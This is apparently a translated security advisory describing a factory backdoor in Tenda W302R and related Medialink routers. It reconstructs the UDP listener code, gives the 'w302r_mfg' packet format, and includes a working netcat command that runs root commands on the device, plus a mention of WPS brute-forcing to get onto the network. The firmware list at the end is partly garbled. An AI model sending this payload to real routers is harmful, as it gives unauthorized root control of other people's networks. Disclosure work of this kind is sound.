Following D-Link Vulnerability: Backdoor Detected in Tenda and Medialink Wireless Routers

Original author: Craig Heffner
  • Transfer
So that you do not think that D-Link is the only supplier that leaves backdoors in its products, here is another - Tenda.


After extracting the latest firmware for the Tenda W302R wireless router, Craig Heffner decided to look into / bin / httpd, which turned out to be GoAhead's web server:
image

But Tenda has a modified server. Just before entering the HTTP receive loop, the main call to InitMfgTask generates the MfgThread function as a separate thread:
image

The first MfgThread creates a UDP socket and listens on port 7329:
image

Then the thread enters the recvfrom loop and reads 128 bytes from the socket. It listens to every received UDP packet, which is 14 bytes long.
image

The received UDP packet is then processed by this code:
image

An example of the same C code:
memset (rx_magic_string, 0, 0x80);
memset (command_byte, 0, 0x80);
memset (command_arg, 0, 0x80);
memcpy (rx_magic_string, rx_buf, 9);
command_byte [0] = rx_buf [11];
memcpy (command_arg, rx_buf + 12, rx_size-12);
// If magic string doesn't match, stop processing this packet and wait for another packet
if (strcmp (rx_magic_string, "w302r_mfg")! = 0) goto outer_receive_loop;


We see that the socket expects a packet with the following structure:

struct command_packet_t
{
    char magic [10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte
    char command_byte;
    char command_arg [117];
};


If the received packet starts with the line “w302r_mfg”, the code then compares the commands of three ASCII characters ('1', 'x' and 'e') in the given byte:
image

For simplicity, an example C code:
switch (command_byte)
{
    case 'e':
        strcpy (tx_buf, "w302r_mfg");
        tx_size = 9;
        break;
    case '1':
        if (strstr (command_arg, "iwpriv")! = NULL)
            tx_size = call_shell (command_arg, tx_buf, 0x800);
        else
            strcpy (tx_buf, "000000");
            tx_size = strlen (tx_buf);
        break;
    case 'x':
        tx_size = call_shell (command_arg, tx_buf, 0x800);
        break;
    default:
        goto outer_receive_loop;
}
sendto (client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;


The following actions correspond to the next byte:

'E' - ping
'1' - Allows you to run iwpriv commands
'X' - allows you to execute any command from root

If 'X' is defined as a command byte, the remainder of the packet after this character (so called command_arg in the above code) is passed to call_shell, which executes the command via POPEN:
image

Moreover, call_shell fills the tx_buf buffer with the output of the command, which, as we see from the previous C code, is sent back to the client.

Knowing the functionality of MfgThread and the package structure, we can easily reproduce this backdoor using Netcat:

$ echo -ne "w302r_mfg \ x00x / bin / ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x 2 0 0 1363 webroot
drwxr-xr-x 1 0 0 0 var
drwxr-xr-x 5 0 0 43 usr
drwxr-xr-x 1 0 0 0 tmp
drwxr-xr-x 2 0 0 3 sys
drwxr-xr-x 2 0 0 569 sbin
dr-xr-xr-x 39 0 0 0 proc
drwxr-xr-x 2 0 0 3 mnt
drwxr-xr-x 1 0 0 0 media
drwxr-xr-x 4 0 0 821 lib
lrwxrwxrwx 1 0 0 11 init -> bin / busybox
drwxr-xr-x 2 0 0 3 home
drwxr-xr-x 7 0 0 154 etc_ro
drwxr-xr-x 1 0 0 0 etc
drwxr-xr-x 1 0 0 0 dev
drwxr-xr-x 2 1000 100 574 bin


This package can only be sent from the local network, while the backdoor cannot be used from the global network. However, operating wireless networks with WPS enabled by default are not brute-force protected. ReaverPro hacked the WPS bruteforce relatively quickly, providing access to the wireless network:
image

This backdoor is most likely first implemented in the Tenda in the W302R, although it also exists in the Tenda W330R, as well as in similar models such as the Medialink MWN-WAPR150N. All of them are also vulnerable to the string "w302r_mfg" in the UDP packet.

UPDATE:
Link to github: ea.github.io/blog/2013/10/18/tenda-backdoor
Vulnerabilities are affected by the following firmware:

301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6 h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0. 15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0_.16_B1_1_B3_1_B1_B1_B1_B1_B1_B1_1_B1_1_1_B1_1_1_B1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1_1
at1_1 at
1
at 3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin

Also popular now: